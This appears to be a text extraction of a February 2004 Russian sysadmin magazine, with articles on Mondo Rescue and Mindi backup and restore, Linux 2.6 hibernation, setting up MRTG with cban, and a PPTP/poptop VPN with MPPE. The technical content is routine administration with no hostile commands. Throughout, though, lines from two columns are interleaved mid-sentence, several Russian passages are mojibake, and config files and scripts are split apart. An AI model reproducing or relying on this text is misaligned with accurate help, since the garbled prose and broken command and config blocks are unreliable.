файл «имя приложения.desktop» в папке $HOME/.kde/ не составит труда определить с помощью любого про-
share/applnk/ следующего содержания: смотрщика картинок, какая иконка принадлежит нуж-
ному приложению, и соответственно привязать ее куда
# KDE Config File нужно.
[Desktop Entry] В следующей статье мы рассмотрим более подробно
Name=Super Fast Graphic Viewer внутреннее строение CrossOver Office и трюки, применя-
Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/ ↵
.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" ↵ емые при попытке запустить неподдерживаемые прило-
"C://Program Files//QuickViewer//viewer.exe" жения. Также будут описаны методы, применяемые для
Type=Application
Comment=Super Fast Viewer отладки и трассировки процесса эмуляции, и приемы, по-
X-Created-by=CrossOver Office зволяющие понять, чего именно не хватает Windows-при-
Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/ ↵
Windows/Icons/0050046416b9.14.xpm ложениям.

№2(15), февраль 2004 13


администрирование

СПАСЕМ ПИНГВИНА

СЕРГЕЙ ЯРЕМЧУК

Хотя Linux – устойчивая система, но бывает всякое, осо- вичку, а также быстроте работы, эффективности, устой-
бенно если к факторам, ведущим к остановке сервера, чивости и дальнейшему активному развитию. Итак, по по-
добавить и аппаратные проблемы, еще действие вирусов рядку.
и самих пользователей. Поэтому необходимость в посто- Mindi Linux создает набор, который поможет вам в об-
янном резервировании данных понимают все системные служивании системы вашего дистрибутива в случае не-
администраторы, а кто еще не понял, то после первого приятностей. В этот набор входят ядро той системы, в ко-
печального опыта обычно все встает на свои места. В от- торой запущен Mindi, а также модули, файлы библиотек и
личие от Windows, для которой написано множество в основные утилиты. В этом и основная суть, что использу-
большей части коммерческих программ для восстановле- ются для восстановления именно родные составляющие.
ния системы, под Linux обычно обходятся штатными сред- В базовый набор программ входят утилиты вроде fdisk,
ствами, т.е. утилитами tar, gzip, dd и пр. Бывалые админы mkfs, fsck, cat, less, more, afio, gzip, bzip2 и пр., а также
уже имеют пару-тройку скриптов, позволяющих автома- конфигурация клавиатуры, библиотека glibs. При необхо-
тизировать эту операцию, а для начинающих эта опера- димости можно и изменить состав пакетов, добавив и свои,
ция может вызывать пока еще головную боль. Для тех, в том числе и включая X-Window, для этого достаточно
кто ищет себе удобный инструмент для резервирования занести необходимые в файл deplist.txt, который находит-
данных и восстановления системы, и предназначена эта ся в зависимости от того, в каком виде (из пакетов или
статья. исходников) устанавливался Mindi, либо в /etc/mindi/, либо
В ней речь пойдет о пакетах Mindi Linux и Mondo Rescue, в /usr/local/mindi, причем в нем уже имеются готовые шаб-
написанных и поддерживаемых в основном одним чело- лоны, которые достаточно просто раскомментировать. Ус-
веком, Hugo Rabson, первая версия которых увидела свет тановка самой программы особых трудностей не должна
18 февраля 2000 года, домашняя страница проекта http:// вызвать, на сайте кроме архива с исходниками доступны
www.mondorescue.org/index.html. Проект уже получил под- и прекомпилированные пакеты, собранные под большин-
держку множества пользователей и не в последнюю оче- ство известных дистрибутивов Linux.
редь благодаря простоте, позволяющей разобраться и но- Для пакетов это выглядит так:

14
администрирование
#tar -zxvf mindi-0.95_cvs_20040110.tgz (в моем случае по причине отсутствия устройства /dev/
# cd mindi-0.95_cvs_20040110 fd0H1722) 1.72 Мб образ, но при использовании в даль-
# ./install.sh
нейшем для работы СD-ROM или NFS это не смертельно.
А при помощи rpm-пакетов:

# rpm -i mindi-0.95-1.i386.rpm

Для своей работы Mindi требует наличия некоторых


установленных утилит, список которых вы найдете на сай-
те, но все они, как правило, уже имеются в современных
дистрибутивах. Среди рекомендаций следует обратить Сейчас можно записать все созданные образы на дис-
внимание на наличие свободного места на жестком дис- кеты.
ке (~800 Мб), которое может понадобиться для промежу-
точных файлов, и желательно ядро, выше 2.2.19 или 2.4.7
с поддержкой в первую очередь loopfs, а также Virtual После утвердительного ответа на последующий воп-
memory file system и initrd ramdisk support. Остальное обыч- рос будет содан ISO-образ, содержащий все данные.
но уже имеется. И теперь программу можно запускать.

Далее система спрашивает, будем ли мы использо-


вать собственное ядро для построения загрузочного дис- Если сейчас посмотреть в каталог /root/images/mindi, в
ка. В случае положительного ответа будет использовано нем находится несколько файлов.
ядро, с которого система загружалась, иначе можно вве-
сти путь к другому ядру, например, взятому с сайта
www.mondorescue.org, если собственное не удовлетво-
ряет по каким-либо причинам.

В нем, как видите, собраны образы для записи на дис-


После определения ядра система спрашивает, хотим кеты, архивы с данными и ISO-образ, который нам и ну-
ли мы использовать LILO для загрузки вместо syslinux. Что жен.
выбирать – дело вкуса, но выбрав LILO, вы должны убе- Записываем его на болванку:
диться, что он установлен в системе.
# cdrecord -blank fast dev=0,0,0 speed=12 ↵
/root/images/mindi/mindi.iso

Все, теперь у нас в руках загрузочный СD-ROM, со-


зданный под конкретную задачу и требования. При необ-
Далее система анализирует конфигурацию системы, ходимости загружаемся с него и автоматически загружа-
которую также заносит в создаваемый архив. ется программа Mondo Rescue, о которой пойдет речь чуть
ниже. Если же с созданием образа что-то не получилось,
то исчерпывающий ответ о причине можно получить в фай-
ле /var/log/mondo-archive.log, который разработчики про-
сят прислать в случае обращения за помощью. Также для
тех, у кого ничего не получилось, то можно найти уже го-
товые ISO-образы по ссылкам на сайте, с этих же обра-
зов можно установить полностью весь комплект программ,
просто сначала примонтировав диск и затем зайдя на него,
введя setup. Теперь можно, загрузившись с этого СD-ROM,
провести спасательные работы по восстановлению сис-
темы. Но это еще не все.

Mondo Rescue
Далее переходим к рассмотрению Mondo Rescue – набо-
ра утилит, который предназначен для создания резерв-
ной копии выбранной области системы, и записи их за-
тем на CD-R/RW, NFS, стриммер или на жесткий диск. В
случае краха систему можно будет очень легко восста-
Как видите, в строке ниже система не смогла создать новить, и в том числе с нуля, что может понадобиться не

№2(15), февраль 2004 15


администрирование
только в аварийных случаях, но и при переразбиении дис- мально возможный размер архивируемых данных (по
кового пространства или, например, при переходе на умолчанию предлагается 650 Мб), в этом случае будет
RAID. Также этот пакет придется по вкусу тем, кому нуж- создано несколько образов, не превышающих указанный
на просто возможность клонирования системы на не- размер.
сколько компьютеров с одинаковой конфигурацией, т.к. Далее выбираем степень сжатия данных. None выби-
вместе с выбранными каталогами для сохранения на диск рается, если streamer поддерживает аппаратное сжатие и
заносятся также и boot-секторы. Mondo Rescue поддер- Maximum при мощном процессоре. В остальных случаях
живает почти все файловые системы, о которых знает достаточно средней степени сжатия (рис. 2).
ядро Linux: ext2, ext3, JFS, XFS, ReiserFS, VFAT, а также Указываем на каталог, который собираемся архиви-
LVM и RAID. Но его можно использовать и для резерви- ровать. В случае полной архивации (исключая /tmp и /proc)
рования не-Linux файловых систем, например NTFS. это /. И в следующем окне перечисляем каталоги, кото-
Mondo используют такие «монстры», как Siemens, HP (в рые необходимо исключить из списка архивации.
США и Франции), IBM, NASA. Распространяется под ли-
ценцией GPL как bridalware, плата берется за техничес-
кую поддержку.
Установка обычная для Linux.

#tar -xzvf mondo-1.75_cvs_20040110.tgz


# cd mondo-1.75_cvs_20040110
#./configure && make
#su
#make install

Для стабильной версии 1.67 этап конфигурирования


не требуется. Для своей работы Mondo требует уже уста-
новленого Mindi и утилиты afio, которая создает файлы
формата, подобного cpio, и может создавать многотом-
ные архивы и сжимать их, сейчас эта утилита имеется
практически во всех дистрибутивах, также для версии 1.75 Ðèñóíîê 2
потребуется утилита partimagehack, если чего-то нет, ссыл- Следующий шаг интересный. Вас спросят, нормальное
ки имеются на сайте в конце страницы Download. После ли ядро в системе. В качестве подсказки написано, что
этого в каталоге /usr/local/bin появятся файлы пользователям Red Hat, Mandrake, SuSE и Slackware мож-
mondoarchive и mondorestore. но давать утвердительный ответ, а вот Debian и Gentoo
Mondo Rescue при архивировании данных имеет два используют нестандартные конфигурации ядра, и ответ –
режима работы: интерактивный и командный. No. В этом случае необходимо использовать ядро, взятое
Для работы первого запускаем утилиту mondoarchive с сайта www.mondorescue.org.
без параметров: И последним шагом будет задан вопрос о проверке
записанной информации.
#usr/local/bin/mondoarchive И далее идет процесс создания образов, в ходе кото-
рого будет создан список каталогов, который будет поде-
И далее начинаем отвечать на вопросы программы. лен на наборы, после чего вызывается Mindi для созда-
Выбираем устройство, на которое будем записывать ния загрузочного диска, описанного выше, после чего нач-
архивные данные (рис. 1). нется процесс архивирования данных.
В командном режиме необходимо сразу ввести все
необходимые опции в командной строке, все они хорошо
описаны на соответствующей man-странице. Две опции
-О и -V являются определяющими. Первая говорит об ар-
хивировании данных, вторая предназначена для провер-
ки записанного.
Так, например, команда:

# mondoarchive -Oc 24 -g

запишет все данные на СD-R болванку со скоростью (оп-


ция -с) 12 и в так называемом GUI mode (-g), когда про-
грамма общается с пользователем в процессе работы.
Если mondoarchive запускается при помощи cron, то ее
Ðèñóíîê 1 использовать не нужно. Теперь, пока идет создание пер-
Если выбран CD-R[W], то следующим шагом будет за- вого образа, вставляем пустой диск в привод и запуска-
дан вопрос о поддержке устройством технологии BurnProof ем, когда потребуется следующий, то программа сообщит
и чуть позже попросят указать скорость привода и макси- об этом. Если программа не может найти привод, то при-

16
администрирование
нудительно показываем на него, добавив строку -d 0,0,0 ле загрузки с первого СD-ROM и появления приглашения
(свои цифры можно узнать, запустив cdrecord -scanbus). набираем:
Проверить можно, введя:
# interactive
#mondoarchive -Vc 24
После чего в окне «Editing mountlist screen», двигаясь
При использовании диска СD-RW вместо -с ставим -w при помощи клавиш курсора, возможно отредактировать
с указанием скорости, опция -r используется при работе текущую геометрию диска. А так после загрузки, отвечая
с пишущим DVD-приводом, но скорость при этом указы- yes/no на следующие вопросы, можно полностью восста-
вать не надо, программа сама выберет максимальную, а новить все необходимое.
если необходимо просто создать ISO-образы без запи-
си на болванку, то ставим -i, -t используется при работе Do you want to partition your devices? No
Ò.å. õîòèì ïåðåðàçáèòü äèñê?
со стриммером и -n mount_point при архивировании на Do you want to format them? No
NFS (эта точка должна быть смонтирована до начала È ôîðìàòèðîâàòü åãî çàòåì?
Do you want to restore everything? No
операции). Íàäî ëè âîññòàíàâëèâàòü âñþ èíôîðìàöèþ?
Do you want to restore something? Yes
# mount 192.168.0.10:/home/nfs -t nfs /mnt/nfs Èëè õîòèì ÷òî-òî âîññòàíîâèòü âûáîðî÷íî?
# mondoarchive -OVn 192.168.1.3:/home/nfs -g -s 650m Which path do you want to restore? /home/hugo [e.g.] /home
Êàêîé èìåííî ðàçäåë?
# umount /mnt/nfs Do you want to run LILO to setup your boot sectors? No
Õîòèì ëè âîññòàíîâèòü LILO?
Опция -s устанавливает максимальный размер выход-
ного файла. Если требуется исключить некоторые ката- Здесь хотелось бы отметить, что, введя:
логи из списка архивируемых, то указываем на них при
помощи -Е, например: # mondorestore –mbr

#mondoarchive -E /mnt/dos /mnt/cdrom -9 -Ow 12 можно восстановить загрузочный сектор жесткого диска.
Введя при загрузке expert, попадаем в shell и делаем
Цифра -9 после каталогов означает степень компрес- все, что необходимо по восстановлению системы вручную,
сии, по умолчанию используется -3, -0 означает без комп- такая себе замена спасательного диска, больше сказать
рессии данных, добавив опцию -L, можно использовать здесь и нечего.
более быструю lzo-компрессию вместо bzip2. В режим Advanced можно перейти, например, после
Кроме командного режима можно сравнить записан- режима Еxpert и произведения в нем всех необходимых
ное и в интерактивном. Для этого загружаемся с первого работ.
диска и вводим: Для этого ввводим в строке приглашения:

#compare # mondorestore

После чего следуем за инструкциями на экране, все После чего выбираем источник, с которого будет проис-
изменившиеся файлы можно найти в /tmp/changed.txt. ходить восстановление системы, указываем на файлы, ко-
Как видите, это инструмент, хотя и не для каждоднев- торые хотим восстановить (рис. 3), и точку монтирования,
ного резервного сохранения данных, т.к. нет возможнос- которая будет считаться корневой при восстановлении дан-
ти выборки изменившихся данных, но для полного вос- ных. После чего выбранные файлы будут восстановлены.
становления системы или отдельных каталогов после раз-
личных неприятностей это довольно удобная программа.

Восстановление системы после сбоев


Mindi предлагает несколько режимов восстановления дан-
ных: Nuke, Interactive, Expert и Advanced. Разберем по по-
рядку. Nuke Restore предназначен для полного восстанов-
ления системы или для клонирования системы. При этом
все данные сначала удаляются, а затем в автоматичес-
ком режиме восстанавливаются из архивов. Для этого
загружаемся с первого СD-ROM, при появлении пригла-
шения нажимаем Enter и по запросу вставляем последу- Ðèñóíîê 3
ющие диски и следим за выводом ошибок (/tmp/mondo- Как видите, пакеты Mindi Linux и Mondo Rescue пред-
restore.log). Все остальное система сделает сама. Если ставляют собой довольно удобный и простой в использо-
требуется перед этим переразбить жесткий диск или вос- вании инструмент, который, несомненно, может суще-
становить не всю систему, то используется режим ственно облегчить процесс восстановления данных пос-
Interactive, позволяющий в удобном пошаговом режиме ле системного сбоя или помочь в клонировании системы.
проделать эти операции. Для перехода в этот режим пос- На этом все. Успехов.

№2(15), февраль 2004 17


администрирование

МЫ С LINUX ЭТИМ ЛОЖИМСЯ


И С LINUX ЭТИМ ВСТАЕМ –
ПОСЛЕДСТВИЯ ГИБЕРНАЦИИ

АНТОН БОРИСОВ

18
администрирование
Сегодня мы рассмотрим такой вопрос, как программная ся на всех файлах. Отмечу, что «swsusp.txt» – начальная
гибернация (hibernation) в ОС Linux. Поддержка засыпа- точка для понимания проблемы.
ния была начата для серий 2.4 Linux, но т.к. время не Итак, что в первую очередь следует сделать? Подго-
стоит на месте, на сегодняшний момент выпущена но- товить swap-раздел таким образом, чтобы его размер
вая серия 2.6 (где, в частности, переработана подсисте- превышал в 2 раза объем установленной RAM в систе-
ма управления энергосбережением), поэтому и мы бу- ме. Если вы опытный администратор, то именно так вы и
дем работать именно под этой серией. Теперь в 2.6.xx поступаете, не мне вас учить. Для чего это нужно?
Linux-ядрах существует полноценная поддержка, то, что Именно в swap-раздел производится сброс содержи-
раньше было только в экспериментальном исполнении. мого RAM в процессе засыпания и дальнейшее его вос-
Для приверженцев 2.4.xx ядер рекомендуется наложить становление во время пробуждения.
патчи, чтобы получить то, что по умолчанию поставляет- Второе, добавляем в /etc/lilo.conf следующую строку:
ся в новой ветке.
Ну что же, краткая предыстория рассказа о гибер- append="apm=power-off resume=/dev/hdc5 acpi=force"
нации. Первый раз мне пришлось столкнуться с этой
увлекательной функцией в 2002 году, когда вышли пер- Это означает, что при старте ядру будут переданы дан-
вые релизы Windows XP Professional. Любопытство ные параметры.
одержало верх, и некоторое время я проработал в дан- Если ваш box изготовлен не позднее 1999 года, то
ной ОС, тем паче, что задачи, решаемые в тот момент, «acpi=force», как правило, не требуется. Однако на моей
требовали среду разработки именно Windows-платфор- рабочей машине, приходится добавлять, ибо без нее
мы. Кроме отличного дизайна интерфейса в системе ACPI-подсистема не хочет подниматься.
была функция сбережения питания, так называемое Сочетание «resume=/dev/hdc5» означает, что раздел
hibernate state. для гибернации называется /dev/hdc5 (он же swap-раз-
Это означает, что в любой момент времени можно пе- дел). В дальнейшем мы увидим, что во время нормаль-
ревести систему вместе со всеми приложениями, кото- ной работы сигнатура swap-раздела меняется на свою
рые работают, в состояние, когда все ОЗУ персоналки нормальную сигнатуру SWAPSPACE2. (В cпящем режи-
записывается на диск и производится отключение пита- ме она устанавливается как S2SUSP).
ния. При этом в момент включения питания, ОЗУ, кото- Не забудем установить заново lilo-загрузчик:
рое было записано на диск, переписывается обратно в
память (точнее не ОЗУ, а его содержимое) и передается lilo -v
управление на тот код, который работал перед самым
отключением питания. Чем эта схема любопытна? В пер- Теперь мы готовы для засыпания. Перезагрузимся,
вую очередь тем, что мы не закрываем/открываем зано- чтобы новые параметры были знакомы ядру. reboot. Итак,
во приложения, состояния в программных продуктах ос- производим следующую простую операцию:
таются неизменными. Во-вторых, не требуется вспоми-
нать, что же конкретно мы делали в предыдущий день, echo 4 > /proc/acpi/sleep
все остается на рабочем столе, как и в прошлый раз. Тем
самым, уходя с работы и переведя систему в такое со- (за цифрами обращайтесь к документации, прилагаемой
стояние, мы не беспокоимся, а выдержат ли наши бес- к исходникам ядра – ссылка была дана выше в статье).
перебойники, а не сгорит ли рабочее место из-за повы- Таким образом мы не совершаем какие-то магические
шенной температуры, в общем, масса хлопот с плеч до- пасы, а через псевдофайловую систему proc записыва-
лой. Тем более, если мы работаем с ноутбуком, где в ем данные в служебные структуры ядра.
первую очередь стоит энергосбережение. Поэтому воз- Заметьте, что если ACPI-подсистема не стартовала,
можность эту мы запомнили, поставили под контроль. то директории /proc/acpi у нас в системе не будет.
Что же касается Windows XP, то может быть из-за Далее ядро начинает сбрасывать дамп памяти в swap-
того, что версия была слишком сырой на тот момент раздел. При этом в syslog появляются следующие сооб-
или просто из-за того, что за 100 рублей Genuine щения:
Windows-продукты не купить, а получать извещения о
завершенных приложениях необходимостив этой связи
направить письмо в службу поддержки, совершенно
меня стали огорчать, пришлось совмещать полезное с
приятным или даже, наоборот, приятное с полезным,
slackware с VMware+Windows 2000 Pro.
Это была преамбула, нас же интересует реализация
режима сна именно в Linux.
Так что история начинается.
Для тех, кто ни разу не сталкивался с гибернацией (за-
сыпанием), следует ознакомиться с документацией, кото-
рая идет вместе с 2.6 ядром (директория /usr/src/linux/
Documentation/power). Не стану подробно останавливать-

№2(15), февраль 2004 19


администрирование
После этого происходит отключение питания. «while atomic». Ядро находится в режиме, когда нельзя
На что следует обратить внимание. Когда вы в следу- обрабатывать прерывания – разделять работу. Также ре-
ющий раз включаете машину, то вы имеете полное право комендуется не иметь «активных» процессов в системе
подать параметр «noresume» ядру, которое запрещает во время подготовки ко сну. Под «активными» процесса-
восстанавливать состояние гибернации. Делать этого не ми я подразумеваю те, которые на момент засыпания ве-
рекомендуется, так как содержимое на вашем корневом дут активные операции по переработке данных (пусть, на-
разделе может помахать вам ручкой. Во всяком случае пример, это будет операция select в mysql-базе).
не все содержимое, а только последние изменения. У меня Перед засыпанием мы запускали dmesg:
используется ext3 файловая система, поэтому этот вывод
был сделан из сообщений, посылаемых обработчиком
файловой системы.
Если у вас не было swap-раздела до засыпания, то
заснуть вам также не удастся. Так что имейте это в виду. Подсистема гибернации обнаружила, что в swap-раз-
Простое правило – между засыпанием и просыпанием не деле запись «SWAPSPACE2»:
пишите на раздел. На swap-раздел уж точно писать не
надо, т.к. cигнатуры (SWAPSPACE2), показывающей, что dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SWAP
там именно swap, нет. Поэтому подключить его пока не
получится. А специально проинициализировать его при- поэтому возобновление не было произведено.
дется, вызвав команду: После просыпания опять запустим dmesg:

/sbin/mkswap /dev/hdc5
Все прошло удачно. Поздравляю!
Повторюсь, что данные действия не являются обязатель- Теперь немного пошалим. После очередного засыпа-
ными. Мы исследуем то, что может быть при обстоятель- ния укажем ядру, что возобновление из swap-раздела
ствах, когда жесткий диск изъят из системы в состоянии делать не надо.
«сна» (гибернации). Передаем параметры ядру:
Теперь мы приходим из отпуска – включаем рубиль-
ник. "noresume init=/bin/sh"

Мы не в полноценном режиме, поэтому процессы из


/etc/rc.d не запустились.

dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SUSP

На выходе у нас строчка «S2SUSP», означающая, что


swap-раздел работает в качестве хранилища для содер-
жимого RAM.
Поэтому, когда вы увидите строку «Fixing swap
signatures... ok», не удивляйтесь, так и должно быть.
С подменой сигнатур мы разобрались. Теперь идем
дальше. А что если усыпить систему на одном железе, а
разбудить на другом? Ну что ж, скажу сразу, мне пока это-
го не удалось. Опишу свои действия.
Я пересобрал ядро, чтобы оптимизация была под
586MMX-архитектуру. Это позволит загрузиться как под
Athlon XP, так и под Intel MMX процессорами.
Перед сессией засыпания под Athlon XP 1700+ процес-
сором я указал ядру, что памяти у меня немного, всего
лишь 32 Мб (mem=32M). Это необходимо, так как на сис-
теме, где я собираюсь проснуться (точнее не я, а мой
slackware-винт), всего-то 32 Мб памяти.
Смотрим в syslog после просыпания:

Ура! Все работает. Ну или почти все. Очень жаль, попытка не удалась.
Если вам интересно, то смотрите свой syslog. Попробуем теперь произвести на сходной системе, про-
Единственное замечание, которое возникает, – запись цессор, правда, не Athlon XP 1700+, а чуть пониже – 1600+.

20
администрирование
Еще раз «усыпляю» на родном железе и просыпаем- Под X-Window лично меня смущает, что библиотека
ся на новой машине. Скажу сразу – сообщений от ядра я GNOME неправильно отрисовывает некоторые элемен-
не получил, так как «Resume Machine» при восстановле- ты. Так как, некоторые приложения у меня на основе
нии регистров процессора приказала долго жить. Так что GNOME, то приведенные ниже картинки позволяют уви-
в этом направлении можно еще работать. Теоретически деть, что некоторые элементы отсутствуют. Видимо это
никто не запрещает, вариант вполне зрелый. ошибка в самой GNOME-библиотеке, хотя данный факт
Обращаю ваше внимание, что когда винт с установ- сейчас рассматривается на приложениях, использующих
ленной системой перемещаете по разным машинам, не другие библиотеки.
забывайте указывать, сколько памяти у вас есть. Иначе
получите следующие сообщения:

Теперь о самом интересном – о возможных послед-


ствиях при возобновлении работы.
Первое, что бросилось в глаза, – невозможно прочи-
тать smb-расшаренные ресурсы. Системы, где расшаре-
ны ресурсы, пингуются, а получить файлы нельзя (точ-
нее зайти в точки монтирования). Приходится размонти-
ровать и заново примонтировать эти ресурсы.

cat /etc/mtab | grep smbfs

Узнали точки монтирования и знаем, что необходи-


мо перемонтировать заново.
Второе. Приложения, которые перед засыпанием ис-
пользовали звуковую карту, при возобновлении рабо-
ты хранят молчание. Не произошла инициализация кон-
троллера?
Укажу, что за система у меня.

USB-свистка у меня нет, поэтому ничего сказать не


могу про поведение USB-шины. Однако сообщения ниже
меня смутили. Как видим, некоторые элементы отсутствуют.
Рестарт X-сервера решает эти проблемы.

Итог
В целом, мне понравилась реализация «сна». При более
детальном подходе, может быть, кто-то уже и решил ука-
занные в статье недочеты, во всяком случае http://
www.google.com – ваш надежный путеводитель.

№2(15), февраль 2004 21


администрирование

ПРОСТАЯ УСТАНОВКА MRTG


ДЛЯ RED HAT LINUX

АНДРЕЙ МАРКЕЛОВ
22
администрирование
Что такое MRTG? MRTG (Multi Router Traffic Grapher) – сер- mrtg.cfg с настройками, а в /usr/bin/ – утилиты конфигуриро-
вис, позволяющий посредством протокола SNMP получать вания и непосредственно сам исполнимый файл /usr/bin/mrtg.
из нескольких устройств информацию и отображать в окне Далее при стандартной настройке сервиса нам бы при-
вашего браузера графики загруженности канала (входящий шлось настраивать SNMP как на устройстве/интерфейсе,
трафик, исходящий, максимальный, средний) с шагом в ми- с которого снимаем информацию, так и на нашей локаль-
нуты, часы, дни и за год. Пример работы программы вы мо- ной машине, где установлен MRTG. Мы же обойдемся без
жете увидеть по адресу: http://www.ee.ethz.ch/stats/mrtg/. этого, и по адресу http://freshmeat.net/redir/cban/18710/
Почему в заглавии статьи есть фраза «простая установ- url_tgz/cban-0.1.8-0.tgz скачаем утилитку cban (Current
ка»? Объясняю. В большинстве случаев системному адми- BANdwidth by Nicu Pavel), которая будет поставлять нам
нистратору не требуется мониторить кучу точек своей сети нужную информацию, обходясь без SNMP.
посредством SNMP. Для небольшой организации наиболее Разворачиваем архив и кладем файл /bin/cban в /usr/sbin.
логичным и зачастую единственным применением подобно- Также для нас интерес представляет файл /etc/mrtg/sample-
го инструмента является мониторинг загрузки внешнего ин- mrtg.cfg – это, как и обещает нам название, пример файла
терфейса прокси-сервера, на который мы и будем локально конфигурации для mrtg. Приведу его полностью:
ставить MRTG. Это значительно упрощает установку про-
граммы и исключает использование протокола SNMP.
Title[eth0]: Traffic eth0
Опять же из соображений простоты установки выбран MaxBytes[eth0]: 125000
Red Hat Linux (ну и, конечно, из соображений распростра- AbsMax[eth0]: 125000
Options[eth0]: gauge
ненности в России, не забываем, что ряд российских дист- Target[eth0]: `/usr/sbin/cban -i eth0 -m`
рибутивов создан на основе «шапочки»). Это позволит нам PageTop[eth0]: <H1>eth0 statistics</H1>
YLegend[eth0]: Bytes/s
избежать этапов компиляции библиотек и самого MRTG. ShortLegend[eth0]: B/s
Legend1[eth0]: Incoming Traffic
Legend2[eth0]: Outgoing Traffic
Требования к установке Legend3[eth0]: Maximum Incoming Traffic
Для работы MRTG требуются следующие библиотеки: Legend4[eth0]: Maximum Outgoing Traffic
LegendI[eth0]: &nbsp;In:
! gd – graph drawing library. Библиотека, ответственная за LegendO[eth0]: &nbsp;Out:
формирование графики (http://www.boutell.com/gd/); WithPeak[eth0]: ymwd
! libpng – требуется gd для создания графики в формате
png (http://www.libpng.org/pub/png/src/); Фактически это готовый конфигурационный файл, ра-
! zlib – данная библиотека используется для компрес- ботающий и без изменений. Обращаю внимание на строч-
сии созданной графики (ftp://sunsite.cnlab-switch.ch/ ку «Target[eth0]: `/usr/sbin/cban -i eth0 -m`». В ней прописан
mirror/infozip/zlib/). вызов нашей утилиты. eth0 – имя отслеживаемого интер-
фейса локальной машины. При необходимости отслежи-
Берем с сайта Red Hat (или диска с дистрибутивом) вать другой интерфейс вы должны здесь его указать.
соответствующие rpm-пакеты и устанавливаем их коман- Кроме того, нужно указать каталог, куда будем склады-
дной rpm –i <имя пакета>. У меня были установлены сле- вать результаты работы в виде HTML-странички с графи-
дующие версии: ками WorkDir: /var/www/html/mrtg. По адресу http://ваш_хост/
! gd-1.8.4-4.rpm mrtg/reference.html находится документ, расписывающий
! libpng-1.0.12-2.rpm все возможные опции конфигурационного файла.
! zlib-1.1.4-8.rpm
Запуск MRTG
Перед тем как устанавливать пакет, вы можете прове- После того как мы разобрались с конфигурационным
рить его наличие в системе, а соответственно и необхо- файлом, осталось попробовать запустить исполняемый
димость установки командой: файл /usr/bin/mrtg и посмотреть, что в результате получит-
ся. Даем команду:
rpm –qi <èìÿ ïàêåòà>
. /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log

Устанавливаем и настраиваем MRTG и проверяем каталог, заданный параметром WorkDir на


Идем на сайт проекта http://people.ee.ethz.ch/~oetiker/ предмет появившихся новых файлов. Если все в порядке,
webtools/mrtg/. По ссылке «Download MRTG» качаем со- то теперь можно заставить MRTG перегенерировать ста-
бранный под Red Hat rpm-пакет. Ставим аналогично биб- тистику, например, каждые пять минут:
лиотекам командой:
crontab -e
rpm –i mrtg-2.x-y-z.i386.rpm */5 * * * * /usr/bin/mrtg /etc/mrtg/mrtg.cfg ↵
--logging /var/log/mrtg.log

В результате получаем в каталоге Apache c содержанием Поздравляю! Теперь у нас есть инструмент наглядно-
вашего сайта (/var/www/html/) подкаталог mrtg c html-файла- го и понятного контроля за трафиком в офисе. Да и боль-
ми документации. Сюда же будут помещаться результаты шому начальнику при необходимости можно показывать
визуализации работы MRTG. В /etc/mrtg помещается файл эти «веселые картинки».

№2(15), февраль 2004 23


администрирование

VPN SUCCESS STORY


(MINI-HOWTO)

АНДРЕЙ МОЗГОВОЙ
Хочу рассказать вам о благополучном поднятии VPN в Дистрибутив Slackware 9.1. Ядро Linux-2.4.24.
локальной сети. Учтите, пожалуйста, что VPN был орга- Вам так же понадобятся ppp-2.4.2b3 и poptop-1.1.4-b4.
низован не для соединения удаленных сетей, а для реше- Желательно использовать последний ppp-cvs, так как в
ния проблемы «подмены IP- и MAC-адресов пользовате- его дереве уже имеется скрипт, который вносит в ядро
лями локальной сети». необходимые изменения.
Для аутентификации будем использовать протокол MS- Poptop – это VPN-сервер, к которому подключаются
CHAP-v2. Для шифрования трафика используется MPPE клиенты.
(Microsoft Point-to-Point Encryption). MPPE – это протокол, Замечание: во время редактирования настоящей ста-
разработанный специально для передачи зашифрованных тьи вышел релиз ppp-2.4.2. Автор уже проверил его рабо-
дейтаграмм по соединению точка-точка (point-to-point). тоспособность – все в порядке.

24
администрирование
! Собираем pppd: Ôàéë /etc/pptpd.conf
#debug
speed 115200
./configure option /etc/ppp/options.pptpd
make #localip 10.0.0.1
make install #remoteip 10.0.0.2-254

! Скриптом mppeinstall.sh из ppp-2.4.2b3/linux/mppe пат- Замечание: последние две строки не имеют особого
чим ядро. Хотя в ppp-2.4.2b3 нет патча для ядра linux- смысла, если poptop собирался с параметром «--with-pppd-
2.4.24, к ядру удачно применяется патч для linux-2.2.20. ip-alloc».
! Заходим в конфигурацию ядра. Нам нужен раздел Запускается все следующим скриптом:
«Network device support». В нем включаем поддержку
протокола PPP, несколько дополнительных модулей и Ôàéë /etc/rc.d/rc.pptpd
#!/bin/sh
новую опцию MPPE-шифрования (по возможности #
включайте опции модулями). В «make menuconfig» кон- # /etc/rc.d/rc.pptpd
#
фигурация должна выглядеть примерно так: # description: control pptp server
#
<M> PPP (point-to-point protocol) support
[*] PPP multilink support (EXPERIMENTAL) case "$1" in
start)
[*] PPP filtering modprobe ppp_async
<M> PPP support for async serial ports
<M> PPP support for sync tty ports modprobe ppp_generic
modprobe ppp_mppe
<M> PPP Deflate compression modprobe slhc
<M> PPP BSD-Compress compression
<M> PPP MPPE compression (encryption) if /usr/local/sbin/pptpd; then
touch /var/lock/subsys/pptpd
<M> PPP over Ethernet (EXPERIMENTAL) fi
;;
В разделе «Cryptographic options» включите «Crypto- stop)
killall –TERM pptpd
graphic API», в нем обязательно включите «SHA1 rm -f /var/lock/subsys/pptpd
digest algorithm» и «ARCFOUR» (ARCFOUR сказано ;;
restart)
включить в документации, но такого в linux-2.4.24 нет. killall pptpd
Предполагаю, что еще необходимо включить «HMAC if /usr/local/sbin/pptpd; then
touch /var/lock/subsys/pptpd
support» и «MD5 digest algorithm», остальные – на fi
ваше усмотрение). Сохраняем изменения, пересоби- ;;
status)
раем ядро и модули. ifconfig
! Собираем poptop:
*)
;;

echo "Usage: $0 {start|stop|restart|status}"


./configure --with-pppd-ip-alloc. ;;
/* äîïîëíèòåëüíàÿ îïöèÿ äëÿ ñíÿòèÿ îãðàíè÷åíèÿ esac
* íà êîëè÷åñòâî ñåññèé è åùå êîå-÷òî ïîëåçíîå ñ
* âûäåëåíèåì IP-àäðåñîâ. Пользователи прописываются в /etc/ppp/chap-secrets.
*/
make Формат файла и пример заполнения:
make install
# Secrets for authentication using CHAP
# client server secret IP addresses
Настройка: test * test 192.168.1.5

